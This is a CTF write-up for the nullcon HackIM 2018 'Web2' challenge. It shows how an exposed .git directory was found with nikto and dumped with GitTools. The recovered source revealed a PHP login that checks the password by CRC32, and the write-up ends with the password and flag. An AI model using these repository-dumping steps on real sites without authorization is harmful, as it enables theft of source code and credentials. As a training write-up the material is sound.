writeups

nullcom HackIM 2018 - Write-ups

noraj (Alexandre ZANNI)
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🇬🇧

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : nullcom HackIM 2018
  • Website : ctf.nullcon.net
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

200 - Web2 - Web#

Hidden in Plain Sight

http://34.201.73.166/

Using nikto, I found a git repository http://34.201.73.166/.git/ exposed.

Then with GitTools I dumped the repository:

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$ ~/CTF/tools/GitTools/Dumper/gitdumper.sh http://34.201.73.166/.git/ repo
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########


[*] Destination folder does not exist
[+] Creating repo/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[+] Downloaded: objects/4b/95ce4491c7b505cf37ce8f38c95da668d9ad78
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/59/173b32d8802b3109763b8804076b96410c7328
[+] Downloaded: objects/34/cdc16028467cff91bb53487124e7638aab702b
[+] Downloaded: objects/de/e3c7fea3dec33caa3ef25110ccdd466b2aa225
[+] Downloaded: objects/09/6a77768a37271151786b67af92c2ca82760dff
[+] Downloaded: objects/49/c042bea82f729d4aa2f8e664942d1372a58018
[+] Downloaded: objects/71/4ef812ab99c0cc6bef4a772b5360fbfbe4b367
[+] Downloaded: objects/2a/a3f234d2ce991a9ddea8b216192c4c8c8217f6
[+] Downloaded: objects/6c/1a890b7cd36c8cec010dc20a2d9cf5a78411c4
[+] Downloaded: objects/dc/b7e71bfc04cf9f737b7b671aed07d87b4e5fb6
[+] Downloaded: objects/d0/e6ad36b77a2c8f9ba6708c995f1cb830b9e7fa
[+] Downloaded: objects/f3/3993193d51b645f99d63497ae7265820e05eda
[+] Downloaded: objects/8e/8d3ce7a602c71a2d7f0064a873dbe411e9a04e
[+] Downloaded: objects/b5/a144fb1fcf2acdcd5db2ac0725ed2679aa06aa
[+] Downloaded: objects/59/ba645070811b01a63dd8f8af89a65b21408643
[+] Downloaded: objects/48/38e77b2bb4655d0b46165ec6473460dc90b4dd
[-] Downloaded: objects/3e/90c63922fa145442bb58d18b62af6c21717fee
[+] Downloaded: objects/2f/e7e986096174eaa215846ae64ea83409594840
[+] Downloaded: objects/d8/d10cc949bd91efe792a72a119c796bbdb3dfc6

Now let's see what was changed:

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$ git --no-pager log --oneline 
4b95ce4 (HEAD -> master) Corrected typo
49c042b Removing files.
096a777 Adding any other additional files
dee3c7f Added background image
34cdc16 Added CSS file for static content.
59173b3 Adding primary static HTML file

See files that were removed:

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$ git checkout 096a777
Previous HEAD position was 49c042b Removing files.
HEAD is now at 096a777 Adding any other additional files

$ ls -R
.:
3e90c63922fa145442bb58d18b62af6c21717fee  header.jpg  index.html  style.css

./3e90c63922fa145442bb58d18b62af6c21717fee:
index.php  style.css

So 3e90c63922fa145442bb58d18b62af6c21717fee/index.php is accessible and its content is:

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<html>
    <head>
        <link rel="stylesheet" type="text/css" media="screen" href="style.css" />
    </head>
    <body>
    <form class="login" method="post">
    <h1 class="login-title">Login for flag</h1>
        <input name="user" id="user" type="text" class="login-input" placeholder="Username" autofocus>
        <input name="pass" id="pass" type="password" class="login-input" placeholder="Password">
        <input type="submit" value="Lets Go" class="login-button">


  <?php
error_reporting(0);
$FLAG = readfile('/var/flags/level1.txt');
if (!empty($_POST['user']) && !empty($_POST['pass'])) {
    if(checklogin($_POST['user'],$_POST['pass'])){
        echo "<font style=\"color:#FF0000\"><h3>The flag is: $FLAG</h3><br\></font\>";
    }else{
        echo "<br /><font style=\"color:#FF0000\">Invalid credentials! Please try again!<br\></font\>";
    }
}


function checklogin($u,$p)
{
    if (($u) === "passwordisinrockyou" && crc32($p) == "550274426"){ //
        return true;
        }
    }
?>
</form>

</body>
</html>

Display the deciaml crc32 in hexadecimal:

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$ printf %x '550274426'
20cc857a

By the way the algorithm used by crc32() in php is Crc32b php.

So I asked md5hashing.net if it was knowing the password and it was. That's faster than bruteforcing it. So the password is trumpet.

After authentication we get the flag: hackim18{'SeCuRiTy-MisConfiGuraTionS-ArE-Bad'}.

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